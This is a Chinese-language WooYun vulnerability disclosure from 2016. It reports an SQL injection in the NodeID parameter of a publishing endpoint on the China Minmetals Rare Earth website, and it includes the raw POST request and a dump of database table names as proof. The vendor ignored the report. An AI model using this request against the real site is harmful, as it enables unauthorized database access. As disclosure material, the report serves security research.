漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2016-0180535
漏洞标题：五矿稀土sql注入漏洞一枚
相关厂商：中国五矿集团公司
漏洞作者： 路人甲
提交时间：2016-03-03 17:15
修复时间：2016-03-08 17:20
公开时间：2016-03-08 17:20
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：18
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2016-03-03： 细节已通知厂商并且等待厂商处理中
2016-03-08： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
五矿稀土sql注入漏洞一枚
详细说明：
POST sql 注入
POST /publishapi/index.php?action=add&con=fabu&NodeID=85&referer=/hudong/ywjl/index.html&TableID=5 HTTP/1.1
Content-Length: 607
Content-Type: multipart/form-data; boundary=-----tixBoundary_QLUANXXDJT
X-Requested-With: XMLHttpRequest
Referer: http://www.cmreltd.com:80/
Host: www.cmreltd.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
Content-Type: multipart/form-data; boundary=-----etixBoundary_SFUUGDEDYG
-------xBoundary_SFUUGDEDYG
Content-Disposition: form-data; name="Content"
1
-------tixBoundary_SFUUGDEDYG
Content-Disposition: form-data; name="submit"
1
-------tixBoundary_SFUUGDEDYG
Content-Disposition: form-data; name="YwEmail"
sample@email.tst
-------tixBoundary_SFUUGDEDYG
Content-Disposition: form-data; name="YwName"
hlileaav
-------tixBoundary_SFUUGDEDYG
Content-Disposition: form-data; name="YwPhone"
555-666-0606
-------etixBoundary_SFUUGDEDYG
Content-Disposition: form-data; name="YwTitle"
Mr.
-------etixBoundary_SFUUGDEDYG--
注入参数 NodeID
漏洞证明：
| cmsware_admin_sessions |
| cmsware_block_ip |
| cmsware_category |
| cmsware_collection_1 |
| cmsware_collection_2 |
| cmsware_collection_3 |
| cmsware_collection_4 |
| cmsware_collection_5 |
| cmsware_collection_6 |
| cmsware_collection_category |
| cmsware_collection_rules |
| cmsware_content_1 |
| cmsware_content_2 |
| cmsware_content_3 |
| cmsware_content_4 |
| cmsware_content_5 |
| cmsware_content_6 |
| cmsware_content_fields |
| cmsware_content_index |
| cmsware_content_table |
| cmsware_contribution_1 |
| cmsware_contribution_2 |
| cmsware_contribution_3 |
| cmsware_contribution_4 |
| cmsware_contribution_5 |
| cmsware_contribution_6 |
| cmsware_contribution_note |
| cmsware_extra_publish |
| cmsware_group |
| cmsware_keywords |
| cmsware_log_admin |
| cmsware_log_login |
| cmsware_node_fields |
| cmsware_plugin_base_comment |
| cmsware_plugin_base_count |
| cmsware_plugin_base_setting |
| cmsware_plugin_bbsi_access |
| cmsware_plugin_bbsi_setting |
| cmsware_plugin_oas_access |
| cmsware_plugin_oas_access_map |
| cmsware_plugin_oas_permission |
| cmsware_plugin_oas_sessions |
| cmsware_plugin_oas_setting |
| cmsware_plugins |
| cmsware_plugins_oas_user |
| cmsware_psn |
| cmsware_pubadminmasks |
| cmsware_publish_1 |
| cmsware_publish_2 |
| cmsware_publish_3 |
| cmsware_publish_4 |
| cmsware_publish_5 |
| cmsware_publish_6 |
| cmsware_publish_log |
| cmsware_resource |
| cmsware_resource_ref |
| cmsware_sessions |
| cmsware_site |
| cmsware_sys |
| cmsware_tasks |
| cmsware_tpl_cate |
| cmsware_tpl_data |
| cmsware_tpl_vars |
| cmsware_user |
| cmsware_workflow |
| cmsware_workflow_record |
| cmsware_workflow_state
修复方案：
过滤
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2016-03-08 17:20
厂商回复：
漏洞Rank：4 (WooYun评价)
最新状态：
暂无